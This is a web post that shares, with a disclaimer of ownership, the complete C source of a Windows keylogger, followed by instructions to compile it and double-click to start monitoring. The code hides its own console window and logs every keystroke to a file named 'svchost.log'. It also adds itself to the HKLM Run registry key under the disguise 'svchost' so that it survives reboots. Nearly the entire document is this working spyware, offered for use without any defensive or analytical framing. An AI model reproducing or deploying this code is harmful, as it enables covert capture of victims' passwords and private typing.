Before reading this let me tell you , this article is not owned by me. My intention is to just share this unique code .
C program of Keylogger or keystroke logger :
#include<windows.h> |
#include<stdio.h> |
#include<winuser.h> |
#include<windowsx.h> |
#define BUFSIZE 80 |
int test_key( void ); |
int create_key( char *); |
int get_keys( void ); |
int main( void ) |
{ |
HWND stealth; /*creating stealth (window is not visible)*/ |
AllocConsole(); |
stealth=FindWindowA( "ConsoleWindowClass" ,NULL); |
ShowWindow(stealth,0); |
int test,create; |
test=test_key(); /*check if key is available for opening*/ |
if (test==2) /*create key*/ |
{ |
char *path= "c:\\%windir%\\svchost.exe" ; /*the path in which the file needs to be*/ |
create=create_key(path); |
} |
int t=get_keys(); |
return t; |
} |
int get_keys( void ) |
{ |
short character; |
while (1) |
{ |
sleep(10); /*to prevent 100% cpu usage*/ |
for (character=8;character<=222;character++) |
{ |
if (GetAsyncKeyState(character)==-32767) |
{ |
FILE *file; |
file= fopen ( "svchost.log" , "a+" ); |
if (file==NULL) |
{ |
return 1; |
} |
if (file!=NULL) |
{ |
if ((character>=39)&&(character<=64)) |
{ |
fputc (character,file); |
fclose (file); |
break ; |
} |
else if ((character>64)&&(character<91)) |
{ |
character+=32; |
fputc (character,file); |
fclose (file); |
break ; |
} |
else |
{ |
switch (character) |
{ |
case VK_SPACE: |
fputc ( ' ' ,file); |
fclose (file); |
break ; |
case VK_SHIFT: |
fputs ( "[SHIFT]" ,file); |
fclose (file); |
break ; |
case VK_RETURN: |
fputs ( "\n[ENTER]" ,file); |
fclose (file); |
break ; |
case VK_BACK: |
fputs ( "[BACKSPACE]" ,file); |
fclose (file); |
break ; |
case VK_TAB: |
fputs ( "[TAB]" ,file); |
fclose (file); |
break ; |
case VK_CONTROL: |
fputs ( "[CTRL]" ,file); |
fclose (file); |
break ; |
case VK_DELETE: |
fputs ( "[DEL]" ,file); |
fclose (file); |
break ; |
case VK_OEM_1: |
fputs ( "[;:]" ,file); |
fclose (file); |
break ; |
case VK_OEM_2: |
fputs ( "[/?]" ,file); |
fclose (file); |
break ; |
case VK_OEM_3: |
fputs ( "[`~]" ,file); |
fclose (file); |
break ; |
case VK_OEM_4: |
fputs ( "[ [{ ]" ,file); |
fclose (file); |
break ; |
case VK_OEM_5: |
fputs ( "[\\|]" ,file); |
fclose (file); |
break ; |
case VK_OEM_6: |
fputs ( "[ ]} ]" ,file); |
fclose (file); |
break ; |
case VK_OEM_7: |
fputs ( "['\"]" ,file); |
fclose (file); |
break ; |
case VK_NUMPAD0: |
fputc ( '0' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD1: |
fputc ( '1' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD2: |
fputc ( '2' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD3: |
fputc ( '3' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD4: |
fputc ( '4' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD5: |
fputc ( '5' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD6: |
fputc ( '6' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD7: |
fputc ( '7' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD8: |
fputc ( '8' ,file); |
fclose (file); |
break ; |
case VK_NUMPAD9: |
fputc ( '9' ,file); |
fclose (file); |
break ; |
case VK_CAPITAL: |
fputs ( "[CAPS LOCK]" ,file); |
fclose (file); |
break ; |
default : |
fclose (file); |
break ; |
} |
} |
} |
} |
} |
} |
return EXIT_SUCCESS; |
} |
int test_key( void ) |
{ |
int check; |
HKEY hKey; |
char path[BUFSIZE]; |
DWORD buf_length=BUFSIZE; |
int reg_key; |
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ,0,KEY_QUERY_VALUE,&hKey); |
if (reg_key!=0) |
{ |
check=1; |
return check; |
} |
reg_key=RegQueryValueEx(hKey, "svchost" ,NULL,NULL,( LPBYTE )path,&buf_length); |
if ((reg_key!=0)||(buf_length>BUFSIZE)) |
check=2; |
if (reg_key==0) |
check=0; |
RegCloseKey(hKey); |
return check; |
} |
int create_key( char *path) |
{ |
int reg_key,check; |
HKEY hkey; |
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ,&hkey); |
if (reg_key==0) |
{ |
RegSetValueEx(( HKEY )hkey, "svchost" ,0,REG_SZ,( BYTE *)path, strlen (path)); |
check=0; |
return check; |
} |
if (reg_key!=0) |
check=1; |
return check; |
} |
Now this code will generate a binary exe file, which is your keylogger software. Just double click it to start monitoring all the keys pressed in system.